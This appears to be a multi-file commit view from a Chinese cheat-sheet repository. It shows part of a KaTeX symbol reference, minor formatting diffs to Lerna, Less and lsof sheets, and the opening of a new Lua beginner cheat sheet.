`KaTex:\leftarrow` | <pur>`\leftarrow`</pur> | `KaTex:\nrightarrow` | <pur>`\nrightarrow`</pur> | `KaTex:\upharpoonright` | <pur>`\upharpoonright`</pur>
`KaTex:\Leftarrow` | <pur>`\Leftarrow`</pur> | `KaTex:\nRightarrow` | <pur>`\nRightarrow`</pur> | `KaTex:\upuparrows` | <pur>`\upuparrows`</pur>
`KaTex:\leftarrowtail` | <pur>`\leftarrowtail`</pur> | `KaTex:\nwarrow` | <pur>`\nwarrow`</pur>
`KaTex:\leftharpoondown` | <pur>`\leftharpoondown`</pur> | `KaTex:\Rarr` | <pur>`\Rarr`</pur>
<!--rehype:className=left-align-->
### 可扩展箭头
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :-
`KaTex:\xleftarrow{abc}` | <pur>`\xleftarrow{abc}`</pur> | `KaTex:\xrightarrow[under]{over}` | <pur>`\xrightarrow[under]{over}`</pur> |
`KaTex:\xLeftarrow{abc}` | <pur>`\xLeftarrow{abc}`</pur> | `KaTex:\xRightarrow{abc}` | <pur>`\xRightarrow{abc}`</pur> |
`KaTex:\xleftrightarrow{abc}` | <pur>`\xleftrightarrow{abc}`</pur> | `KaTex:\xLeftrightarrow{abc}` | <pur>`\xLeftrightarrow{abc}`</pur> |
`KaTex:\xhookleftarrow{abc}` | <pur>`\xhookleftarrow{abc}`</pur> | `KaTex:\xhookrightarrow{abc}` | <pur>`\xhookrightarrow{abc}`</pur> |
`KaTex:\xtwoheadleftarrow{abc}` | <pur>`\xtwoheadleftarrow{abc}`</pur> | `KaTex:\xtwoheadrightarrow{abc}` | <pur>`\xtwoheadrightarrow{abc}`</pur> |
`KaTex:\xleftharpoonup{abc}` | <pur>`\xleftharpoonup{abc}`</pur> | `KaTex:\xrightharpoonup{abc}` | <pur>`\xrightharpoonup{abc}`</pur> |
`KaTex:\xleftharpoondown{abc}` | <pur>`\xleftharpoondown{abc}`</pur> | `KaTex:\xrightharpoondown{abc}` | <pur>`\xrightharpoondown{abc}`</pur> |
`KaTex:\xleftrightharpoons{abc}` | <pur>`\xleftrightharpoons{abc}`</pur> | `KaTex:\xrightleftharpoons{abc}` | <pur>`\xrightleftharpoons{abc}`</pur> |
`KaTex:\xtofrom{abc}` | <pur>`\xtofrom{abc}`</pur> | `KaTex:\xmapsto{abc}` | <pur>`\xmapsto{abc}`</pur> |
`KaTex:\xlongequal{abc}` | <pur>`\xlongequal{abc}`</pur> |
符号和标点符号
---
### 符号和标点符号
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :-
`KaTex:% comment` | <pur>`% comment`</pur> | `KaTex:\dots` | <pur>`\dots`</pur> | `KaTex:\KaTeX` | <pur>`\KaTeX`</pur> |
`KaTex:\%` | <pur>`\%`</pur> | `KaTex:\cdots` | <pur>`\cdots`</pur> | `KaTex:\LaTeX` | <pur>`\LaTeX`</pur> |
`KaTex:\#` | <pur>`\#`</pur> | `KaTex:\ddots` | <pur>`\ddots`</pur> | `KaTex:\TeX` | <pur>`\TeX`</pur> |
`KaTex:\&` | <pur>`\&`</pur> | `KaTex:\ldots` | <pur>`\ldots`</pur> | `KaTex:\nabla` | <pur>`\nabla`</pur> |
`KaTex:\_` | <pur>`\_`</pur> | `KaTex:\vdots` | <pur>`\vdots`</pur> | `KaTex:\infty` | <pur>`\infty`</pur> |
`KaTex:\text{\textunderscore}` | <pur>`\text{\textunderscore}`</pur> | `KaTex:\dotsb` | <pur>`\dotsb`</pur> | `KaTex:\infin` | <pur>`\infin`</pur> |
`KaTex:\text{--}` | <pur>`\text{--}`</pur> | `KaTex:\dotsc` | <pur>`\dotsc`</pur> | `KaTex:\checkmark` | <pur>`\checkmark`</pur> |
`KaTex:\text{\textendash}` | <pur>`\text{\textendash}`</pur> | `KaTex:\dotsi` | <pur>`\dotsi`</pur> | `KaTex:\dag` | <pur>`\dag`</pur> |
`KaTex:\text{---}` | <pur>`\text{---}`</pur> | `KaTex:\dotsm` | <pur>`\dotsm`</pur> | `KaTex:\dagger` | <pur>`\dagger`</pur> |
`KaTex:\text{\textemdash}` | <pur>`\text{\textemdash}`</pur> | `KaTex:\dotso` | <pur>`\dotso`</pur> | `KaTex:\text{\textdagger}` | <pur>`\text{\textdagger}`</pur> |
`KaTex:\text{\textasciitilde}` | <pur>`\text{\textasciitilde}`</pur> | `KaTex:\sdot` | <pur>`\sdot`</pur> | `KaTex:\ddag` | <pur>`\ddag`</pur> |
`KaTex:\text{\textasciicircum}` | <pur>`\text{\textasciicircum}`</pur> | `KaTex:\mathellipsis` | <pur>`\mathellipsis`</pur> | `KaTex:\ddagger` | <pur>`\ddagger`</pur> |
| <code>KaTex:\`</code> | <pur>\`</pur> | `KaTex:\text{\textellipsis}` | <pur>`\text{\textellipsis}`</pur> | `KaTex:\text{\textdaggerdbl}` | <pur>`\text{\textdaggerdbl}`</pur> |
`KaTex:\text{\textquoteleft}` | <pur>`text{\textquoteleft}`</pur> | `KaTex:\Box` | <pur>`\Box`</pur> | `KaTex:\Dagger` | <pur>`\Dagger`</pur> |
`KaTex:\lq` | <pur>`\lq`</pur> | `KaTex:\square` | <pur>`\square`</pur> | `KaTex:\angle` | <pur>`\angle`</pur> |
`KaTex:\text{\textquoteright}` | <pur>`\text{\textquoteright}`</pur> | `KaTex:\blacksquare` | <pur>`\blacksquare`</pur> | `KaTex:\measuredangle` | <pur>`\measuredangle`</pur> |
`KaTex:\rq` | <pur>`\rq`</pur> | `KaTex:\triangle` | <pur>`\triangle`</pur> | `KaTex:\sphericalangle` | <pur>`\sphericalangle`</pur> |
`KaTex:\text{\textquotedblleft}` | <pur>`\text{\textquotedblleft}`</pur> | `KaTex:\triangledown` | <pur>`\triangledown`</pur> | `KaTex:\top` | <pur>`\top`</pur> |
`KaTex:"` | <pur>`"`</pur> | `KaTex:\triangleleft` | <pur>`\triangleleft`</pur> | `KaTex:\bot` | <pur>`\bot`</pur> |
`KaTex:\text{\textquotedblright}` | <pur>`\text{\textquotedblright}`</pur> | `KaTex:\triangleright` | <pur>`\triangleright`</pur> | `KaTex:\$` | <pur>`\$`</pur> |
`KaTex:\colon` | <pur>`\colon`</pur> | `KaTex:\bigtriangledown` | <pur>`\bigtriangledown`</pur> | `KaTex:\text{\textdollar}` | <pur>`\text{\textdollar}`</pur> |
`KaTex:\backprime` | <pur>`\backprime`</pur> | `KaTex:\bigtriangleup` | <pur>`\bigtriangleup`</pur> | `KaTex:\pounds` | <pur>`\pounds`</pur> |
`KaTex:\prime` | <pur>`\prime`</pur> | `KaTex:\blacktriangle` | <pur>`\blacktriangle`</pur> | `KaTex:\mathsterling` | <pur>`\mathsterling`</pur> |
`KaTex:\text{\textless}` | <pur>`\text{\textless}`</pur> | `KaTex:\blacktriangledown` | <pur>`\blacktriangledown`</pur> | `KaTex:\text{\textsterling}` | <pur>`\text{\textsterling}`</pur> |
`KaTex:\text{\textgreater}` | <pur>`\text{\textgreater}`</pur> | `KaTex:\blacktriangleleft` | <pur>`\blacktriangleleft`</pur> | `KaTex:\yen` | <pur>`\yen`</pur> |
`KaTex:\text{\textbar}` | <pur>`\text{\textbar}`</pur> | `KaTex:\blacktriangleright` | <pur>`\blacktriangleright`</pur> | `KaTex:\surd` | <pur>`\surd`</pur> |
`KaTex:\text{\textbardbl}` | <pur>`\text{\textbardbl}`</pur> | `KaTex:\diamond` | <pur>`\diamond`</pur> | `KaTex:\degree` | <pur>`\degree`</pur> |
`KaTex:\text{\textbraceleft}` | <pur>`\text{\textbraceleft}`</pur> | `KaTex:\Diamond` | <pur>`\Diamond`</pur> | `KaTex:\text{\textdegree}` | <pur>`\text{\textdegree}`</pur> |
`KaTex:\text{\textbraceright}` | <pur>`\text{\textbraceright}`</pur> | `KaTex:\lozenge` | <pur>`\lozenge`</pur> | `KaTex:\mho` | <pur>`\mho`</pur> |
`KaTex:\text{\textbackslash}` | <pur>`\text{\textbackslash}`</pur> | `KaTex:\blacklozenge` | <pur>`\blacklozenge`</pur> | `KaTex:\diagdown` | <pur>`\diagdown`</pur> |
`KaTex:\text{\P}` | <pur>`\text{\P}`</pur><pur>`\P`</pur> | `KaTex:\star` | <pur>`\star`</pur> | `KaTex:\diagup` | <pur>`\diagup`</pur> |
`KaTex:\text{\S}` | <pur>`\text{\S}`</pur><pur>`\S`</pur> | `KaTex:\bigstar` | <pur>`\bigstar`</pur> | `KaTex:\flat` | <pur>`\flat`</pur> |
`KaTex:\text{\sect}` | <pur>`\text{\sect}`</pur> | `KaTex:\clubsuit` | <pur>`\clubsuit`</pur> | `KaTex:\natural` | <pur>`\natural`</pur> |
`KaTex:\copyright` | <pur>`\copyright`</pur> | `KaTex:\clubs` | <pur>`\clubs`</pur> | `KaTex:\sharp` | <pur>`\sharp`</pur> |
`KaTex:\circledR` | <pur>`\circledR`</pur> | `KaTex:\diamondsuit` | <pur>`\diamondsuit`</pur> | `KaTex:\heartsuit` | <pur>`\heartsuit`</pur> |
`KaTex:\text{\textregistered}` | <pur>`\text{\textregistered}`</pur> | `KaTex:\diamonds` | <pur>`\diamonds`</pur> | `KaTex:\hearts` | <pur>`\hearts`</pur> |
`KaTex:\circledS` | <pur>`\circledS`</pur> | `KaTex:\spadesuit` | <pur>`\spadesuit`</pur> | `KaTex:\spades` | <pur>`\spades`</pur> |
`KaTex:\text{\textcircled a}` | <pur>`\text{\textcircled a}`</pur> | `KaTex:\maltese` | <pur>`\maltese`</pur> | `KaTex:\minuso` | <pur>`\minuso`</pur> |
Environments
---
### Environments 1
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{matrix}
a & b \\
c & d
\end{matrix}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{matrix}
a & b \\
c & d
\end{matrix}
```
<!--rehype:style=flex:1;-->
### Environments 2
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{array}{cc}
a & b \\
c & d
\end{array}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{array}{cc}
a & b \\
c & d
\end{array}
```
### Environments 3
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{pmatrix}
a & b \\
c & d
\end{pmatrix}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{pmatrix}
a & b \\
c & d
\end{pmatrix}
```
<!--rehype:style=flex:1;-->
### Environments 4
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{bmatrix}
a & b \\
c & d
\end{bmatrix}
```
```LaTeX
\begin{bmatrix}
a & b \\
c & d
\end{bmatrix}
```
### Environments 5
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{vmatrix}
a & b \\
c & d
\end{vmatrix}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{vmatrix}
a & b \\
c & d
\end{vmatrix}
```
<!--rehype:style=flex:1;-->
### Environments 6
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{Vmatrix}
a & b \\
c & d
\end{Vmatrix}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{Vmatrix}
a & b \\
c & d
\end{Vmatrix}
```
<!--rehype:style=flex:1;-->
### Environments 7
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{Bmatrix}
a & b \\
c & d
\end{Bmatrix}
```
```LaTeX
\begin{Bmatrix}
a & b \\
c & d
\end{Bmatrix}
```
### Environments 8
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\def\arraystretch{1.5}
\begin{array}{c:c:c}
a & b & c \\ \hline
d & e & f \\
\hdashline
g & h & i
\end{array}
```
<!--rehype:style=flex:1;-->
```LaTeX
\def\arraystretch{1.5}
\begin{array}{c:c:c}
a & b & c \\ \hline
d & e & f \\
\hdashline
g & h & i
\end{array}
```
### Environments 9
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
x = \begin{cases}
a &\text{if } b \\
c &\text{if } d
\end{cases}
```
```LaTeX
x = \begin{cases}
a &\text{if } b \\
c &\text{if } d
\end{cases}
```
### Environments 10
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{rcases}
a &\text{if } b \\
c &\text{if } d
\end{rcases}⇒…
```
```LaTeX
\begin{rcases}
a &\text{if } b \\
c &\text{if } d
\end{rcases}⇒…
```
### Environments 11
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{smallmatrix}
a & b \\
c & d
\end{smallmatrix}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{smallmatrix}
a & b \\
c & d
\end{smallmatrix}
```
### Environments 12
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\sum_{
\begin{subarray}{l}
i\in\Lambda\\
0<j<n
\end{subarray}}
```
<!--rehype:style=flex:1;-->
```LaTeX
\sum_{
\begin{subarray}{l}
i\in\Lambda\\
0<j<n
\end{subarray}}
```
### Environments 13
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{equation}
\begin{split} a &=b+c\\
&=e+f
\end{split}
\end{equation}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{equation}
\begin{split} a &=b+c\\
&=e+f
\end{split}
\end{equation}
```
### Environments 14
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{align}
a&=b+c \\
d+e&=f
\end{align}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{align}
a&=b+c \\
d+e&=f
\end{align}
```
### Environments 15
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{gather}
a=b \\
e=b+c
\end{gather}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{gather}
a=b \\
e=b+c
\end{gather}
```
### Environments 16
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{alignat}{2}
10&x+&3&y=2\\
3&x+&13&y=4
\end{alignat}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{alignat}{2}
10&x+&3&y=2\\
3&x+&13&y=4
\end{alignat}
```
### Environments 17
<!--rehype:body-style=display: flex;flex-direction: row;justify-content: flex-start;-->
```KaTeX
\begin{CD}
A @>a>> B \\
@VbVV @AAcA \\
C @= D
\end{CD}
```
<!--rehype:style=flex:1;-->
```LaTeX
\begin{CD}
A @>a>> B \\
@VbVV @AAcA \\
C @= D
\end{CD}
```
样式、颜色、大小和字体
---
### Color 颜色
:- | :-
:- | :-
`KaTex:\color{blue} F=ma` | <pur>`\color{blue} F=ma`</pur>
`KaTex:\textcolor{blue}{F=ma}` | <pur>`\textcolor{blue}{F=ma}`</pur>
`KaTex:\textcolor{#228B22}{F=ma}` | <pur>`\textcolor{#228B22}{F=ma}`</pur>
`KaTex:\colorbox{aqua}{$F=ma$}` | <pur>`\colorbox{aqua}{$F=ma$}`</pur>
`KaTex:\fcolorbox{red}{aqua}{$F=ma$}` | <pur>`\fcolorbox{red}{aqua}{$F=ma$}`</pur>
### Font 字体
<!--rehype:wrap-class=col-span-2-->
:- | :- | :- | :- | :- | :-
:- | :- | :- | :- | :- | :-
`KaTex:\Huge AB` | <pur>`\Huge AB`</pur> | `KaTex:\normalsize AB` | <pur>`\normalsize AB`</pur> | `KaTex:\normalsize AB` | <pur>\normalsize AB</pur>
`KaTex:\huge AB` | <pur>`\huge AB`</pur> | `KaTex:\huge AB` | <pur>`\huge AB`</pur> | `KaTex:\small AB` | <pur>\small AB</pur>
`KaTex:\LARGE AB` | <pur>`\LARGE AB`</pur> | `KaTex:\LARGE AB` | <pur>`\LARGE AB`</pur> | `KaTex:\footnotesize AB` | <pur>\footnotesize AB</pur>
`KaTex:\Large AB` | <pur>`\Large AB`</pur> | `KaTex:\Large AB` | <pur>`\Large AB`</pur> | `KaTex:\scriptsize AB` | <pur>\scriptsize AB</pur>
`KaTex:\large AB` | <pur>`\large AB`</pur> | `KaTex:\large AB` | <pur>`\large AB`</pur> | `KaTex:\tiny AB` | <pur>\tiny AB</pur>
### Style 样式
<!--rehype:wrap-class=col-span-3-->
:- | :- | :- | :-
:- | :- | :- | :-
`KaTex:\displaystyle\sum_{i=1}^n` | <pur>\displaystyle\sum_{i=1}^n</pur> | `KaTex:\textstyle\sum_{i=1}^n` | <pur>\textstyle\sum_{i=1}^n</pur>
`KaTex:\scriptstyle x` | <pur>\scriptstyle x</pur> | `KaTex:\scriptscriptstyle x` | <pur>\scriptscriptstyle x</pur>
`KaTex:\lim\limits_x` | <pur>\lim\limits_x</pur> | `KaTex:\lim\nolimits_x` | <pur>\lim\nolimits_x</pur>
`KaTex:\verb!x^2!` | <pur>\verb!x^2!</pur>
另见
----
- [LaTeX 官网](https://www.latex-project.org/) _(latex-project.org)_
- [KaTeX 官网](https://katex.org/) _(katex.org)_
- [symbols.pdf](https://www.cmor-faculty.rice.edu/~heinken/latex/symbols.pdf) _(cmor-faculty.rice.edu)_

View File

@ -199,7 +199,7 @@ $ lerna publish --canary preminor
}
```
----
---
:- | :-
:- | :-
@ -239,7 +239,7 @@ $ lerna version -m "chore(doc): publish %v"
- `prerelease` 预发行
<!--rehype:className=cols-2-->
----
---
:- | :-
:- | :-
@ -311,7 +311,6 @@ $ lerna bootstrap --hoist
`--force-local` [#](https://github.com/lerna/lerna/tree/main/commands/bootstrap#--force-local) | 此标志会导致引导命令始终对本地依赖项进行符号链接,而不管匹配的版本范围如何
<!--rehype:className=style-list-arrow-->
### info 本地环境信息
```bash
@ -410,9 +409,9 @@ lerna la
:- | :-
:- | :-
`--conventional-graduate` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--conventional-graduate)
`--force-publish` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--force-publish)
`--ignore-changes` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--ignore-changes)
`--conventional-graduate` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--conventional-graduate)
`--force-publish` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--force-publish)
`--ignore-changes` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--ignore-changes)
`--include-merged-tags` | [#](https://github.com/lerna/lerna/tree/main/commands/publishhttps://github.com/lerna/lerna/tree/main/commands/version#--include-merged-tags)
### init
@ -424,13 +423,13 @@ lerna la
- 如果不存在 `.gitignore`,则生成一个忽略文件
<!--rehype:className=style-timeline-->
----
---
```shell
$ lerna init --independent
```
----
---
:- | :-
:- | :-
@ -527,7 +526,6 @@ $ lerna diff package-name # 区分一个特定的包
类似于 `lerna changed`,此命令运行 `git diff`
### clean
从所有包中删除 `node_modules` 目录
@ -565,4 +563,4 @@ $ npm i lerna@latest
$ lerna repair
```
[`lerna repair`](https://github.com/lerna/lerna/tree/main/core/lerna/commands/repair#usage) 在升级后最有用,可确保应用新版本 lerna 的任何配置文件更改
[`lerna repair`](https://github.com/lerna/lerna/tree/main/core/lerna/commands/repair#usage) 在升级后最有用,可确保应用新版本 lerna 的任何配置文件更改

View File

@ -72,7 +72,6 @@ $ lessc styles.less styles.css
另见: [混合(Mixin)的更多信息](https://lesscss.org/features/#mixins-feature)
### 嵌套(Nesting)
```css
@ -716,4 +715,4 @@ each(range(4), {
- [Less.js 官网](http://lesscss.org) _(lesscss.org)_
- [CSS 备忘清单](./css.md) _(jaywcjlove.github.io)_
- [Stylus 备忘清单](./stylus.md) _(jaywcjlove.github.io)_
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_
- [在线编译预览](http://lesscss.org/less-preview/#eyJjb2RlIjoiI2xpYigpIHtcbiAgICAuY29sb3JzKCkge1xuICAgICAgQHByaW1hcnk6IGJsdWU7XG4gICAgICBAc2Vjb25kYXJ5OiBncmVlbjtcbiAgICB9XG4gICAgLnJ1bGVzKEBzaXplKSB7XG4gICAgICBib3JkZXI6IEBzaXplIHNvbGlkIHdoaXRlO1xuICAgIH1cbiAgfVxuICBcbiAgLmJveCB3aGVuICgjbGliLmNvbG9yc1tAcHJpbWFyeV0gPSBibHVlKSB7XG4gICAgd2lkdGg6IDEwMHB4O1xuICAgIGhlaWdodDogKCR3aWR0aCAvIDIpO1xuICB9XG4gIFxuICAuYmFyOmV4dGVuZCguYm94KSB7XG4gICAgQG1lZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7XG4gICAgICB3aWR0aDogMjAwcHg7XG4gICAgICAjbGliLnJ1bGVzKDFweCk7XG4gICAgfVxuICB9IiwiYWN0aXZlVmVyc2lvbiI6IjQueCJ9) _(lesscss.org)_

View File

@ -78,7 +78,6 @@ $ kill -9 `lsof -t -u apache`
$ kill -9 $(lsof -t -i :8080)
```
### 参数
<!--rehype:wrap-class=row-span-2-->
@ -109,13 +108,12 @@ lsof -p $pid
lsof -i:9981 -P -t -sTCP:LISTEN
```
### 列出打开文件的进程:
### 列出打开文件的进程
```bash
lsof $filename
```
示例
---
@ -219,8 +217,7 @@ migration 2 root txt unknown /proc/2/exe
`NAME` | 打开文件的确切名称
`REG` | 常规文件
另见
---
- [lsof 命令帮助文档](https://jaywcjlove.github.io/linux-command/c/lsof.html) _(jaywcjlove.github.io)_
- [lsof 命令帮助文档](https://jaywcjlove.github.io/linux-command/c/lsof.html) _(jaywcjlove.github.io)_

870
docs/lua.md Normal file
View File

@ -0,0 +1,870 @@
Lua 备忘清单
===
包含最重要概念、函数、方法等的 [Lua](http://www.lua.org) 备忘单。 初学者的完整快速参考。
入门
---
### 下载
macos 使用 homebrew 下载
```bash
$ brew install lua
```
#### 其它下载方式
* [下载地址](https://luabinaries.sourceforge.net/download.html) _(sourceforge.net)_
```bash
# 查看 lua 是否安装成功
$ lua -v
```
### hello world
```lua
#!/usr/bin/env lua
print("Hello World!")
```
#### 运行
```bash
$ lua ./hello.lua
# 或者也可以像 bash 脚本一样
$ chmod +x hello.lua
./hello.lua
```
### 注释
#### 单行注释
```lua
-- 以两个减号开始
```
#### 多行注释
多行注释以 `--[[` 开头, 以 `]]` 结尾
```lua
--[[
]]
```
<!--rehype:className=wrap-text -->
### type() 函数
使用 `type()` 函数可以判断变量或者值的类型
```lua
print(type(true)) -- boolean
print(type(nil)) -- nil
```
### number
Lua 默认只有一种 number 类型 double (双精度) 类型
```lua
print(10)
print(0.3)
print(2e + 10)
```
### string
<!--rehype:wrap-class=row-span-2-->
```lua
-- 使用 ''
local str1 = 'str1'
-- 使用 ""
local str2 = "str2"
```
#### `[[]]`
使用 `[[]]` 跨行表示多个字符串
```lua
local html = [[
<html>
<head></head>
<body>
<a href="https://www.twle.cn/">简单编程</a>
</body>
</html>
]]
print(html)
```
#### 字符串连接(`..`)
```lua
print("a" .. 'b')
-- ab
print(157 .. 428)
-- 157428
```
#### 字符串长度(`#`)
```lua
print(#"string") -- 6
```
### table
```lua
local table = {}
```
#### 迭代 table
默认的初始索引会从 1 开始
```lua
local array = { "apple", "pear", "orange", "grape" }
print(array[1]) -- apple
for k, v in pairs(array) do
print(k .. " : " .. v)
end
-- 1 : apple
-- 2 : pear
-- 3 : orange
-- 4 : grape
```
#### 指定键
```lua
local array = {}
array.one = "apple"
array["two"] = "peach"
print(array.one) -- apple
print(array.two) -- peach
```
### 变量
#### 默认值
变量的默认值均是 nil
```lua
#!/usr/bin/env lua
print(b) -- nil
```
#### 全局和局部变量
Lua 中的变量全是全局变量,那怕是语句块或是函数里,除非用 local 显式声明为局部变量
```lua
#!/usr/bin/env lua
function main()
local b = 12
a = 23
end
main()
print(a) -- 23
print(b) -- nil
```
<!--rehype:className=wrap-text -->
### 赋值
<!--rehype:wrap-class=row-span-2-->
```lua
a = "hello " .. "world" -- 改变 变量
t.n = t.n + 1 -- 改变 table
```
---
```lua
-- 给多个变量赋值
a, b = 10, 2*a --> a=10; b=20
```
#### 交换变量
```lua
local x, y = 1, 3
x, y = y, x
print(x, y) -- 3, 1
```
---
```lua
local tab = {}
tab.one = 2
tab.two = 1
tab["one"], tab["two"] = tab.two, tab.one
print(tab.one, tab.two) -- 1 2
```
#### 赋值个数不一致
* 如果变量个数**大于**值的个数,按变量个数补足 nil
```lua
a, b, c = 1, 3
print(a,b,c) --> 1 3 nil
```
* 如果变量个数**小于**值的个数,多余的值会被忽略
```lua
a = 1
local a, b = a, a + 1, a + 2
print(a, b) --> 1 2
```
<!--rehype:className=style-round-->
<!--rehype:className=wrap-text -->
### 运算符
:- | :-
:- | :-
\+ | 加法
\- | 减法
\* | 乘法
\/ | 除法
\% | 取余,求出除法的余数
\^ | 乘幂,计算次方
\- | 负号,取负值
```lua
local a, b = 4, 3
print(a + b) -- 7
print(a - b) -- 1
print(a / b) -- 1.3333333333333
print(a * b) -- 12
print(a % b) -- 1
print(a ^ b) -- 64.0
```
### 类型转换
* 在算术运算中string 类型会尝试自动转换为 number 时
```lua
local a, b, c = "str", "1", "2"
-- print(a + b) -- error
print(b + c) -- 3
```
* number 类型使用 `..` 会自动转换为 string
```lua
local a, b = 1, 2
print(type(a .. b))
```
* 其它方式的转换
```lua
print(type(tostring(12))) -- string
print(type(tonumber("12"))) -- number
```
<!--rehype:className=style-round-->
<!--rehype:className=wrap-text -->
条件语句
---
### 运算符
<!--rehype:wrap-class=row-span-2-->
#### 关系运算符
符号 | 含义
:- | :-
`==` | 等于
`~=` | 不等于
`>` | 大于
`<` | 小于
`>=` | 大于等于
`<=` | 小于等于
<!--rehype:className=show-header-->
```lua
local a, b = 4, 3
print(a < b) -- false
print(a <= b) -- false
print(a == b) -- false
print(a ~= b) -- true
print(a > b) -- true
print(a >= b)-- true
```
#### 逻辑运算符
符号 | 含义
:- | :-
`and` | 逻辑与
`or` | 逻辑或操作符
`not` | 逻辑非操作符
<!--rehype:className=show-header-->
```lua
local a, b = true, false
print(a and b) -- false
print(a and not b) -- true
print(a or b) -- true
```
### while 循环
```lua
local num = 1
while (num < 5) do
print("num 的值为:", num)
num = num + 1
end
```
### if 语句
<!--rehype:wrap-class=row-span-2-->
```lua
if(0)
then
print("0 为 true")
end
```
#### if .. elseif() .. else
```lua
local age = 27;
if (age < 18)
then
print("age 小于 18")
elseif (age < 25)
then
print("age 小于 25")
elseif (age < 30)
then
print("age 小于 30")
else
print("age 大于 30")
end
print("age 的值为 :", age)
```
<red>注意: </red>`Lua` 中 `0` 为 `true`,但是 `Lua` 中的 `nil` 可以当作 `false`
### for 循环
```lua
for i = 10, 1, -1 do
print(i)
end
```
* lua 中的 for 循环从参数 1 变化到参数 2每次变化以参数 3 为步长递增 i并执行一次表达式
* 参数三,是可选的,如果不指定,默认是 1
* 参数二只会在一开始求值,其后不会再进行运算
```lua
local f = function(x)
print("in f(x) ")
return x * 2
end
for i = 1, f(5) do
print(i)
end
```
<!--rehype:className=style-round wrap-text-->
### repeat...until 循环
```lua
local num = 11
repeat
print("num 的值为: ", num)
num = num + 1
until (num > 10)
-- num 的值为11
```
`repeat...until` 循环的条件语句在当前循环结束后判断
### break
```lua
local num = 11
repeat
print("num 的值为: ", num)
num = num + 1
if (num > 15) then
break
end
until (num > 20)
```
函数
---
### 初始化
像变量一样,如果加上 `local` 那么就是局部函数
```lua
local function main()
print("这是一个局部函数")
end
```
---
你也可以将函数赋值给一个变量
```lua
local main = function()
print("这是一个局部函数")
end
```
### 返回值
```lua
local function min(a, b)
if (a < b) then
return a
else
return b
end
end
print(min(1, 2))
```
### 参数
```lua
local p = function(res)
print("打印自己的风格", res)
end
local function main(a, b, p)
p(a + b)
end
main(1, 2, p)
```
### 多个返回值
```lua
local function min(a)
local sum = 0
local factorial = 1
for i, v in pairs(a) do
sum = sum + v
factorial = factorial * v
end
return sum, factorial
end
local a, b = min({ 1, 2, 3, 4 })
print(a, b)
```
### 可变参数(`...`)
```lua
local function average(...)
local result = 0
local arg = { ... }
for i, v in ipairs(arg) do
result = result + v
end
return result / #arg
end
print("平均值为", average(1, 3, 5, 7, 9, 11))
```
字符串
---
### 字符串方法
<!--rehype:wrap-class=col-span-2-->
```lua
-- 全部转换为大写
string.upper("str") -- STR
-- 全部转换为小写
string.lower("STR") -- str
-- 指定替换的字符串个数, 最后一个参数可选,默认是全部替换
string.gsub("aaaa", "a", "b", 3) -- bbba 3
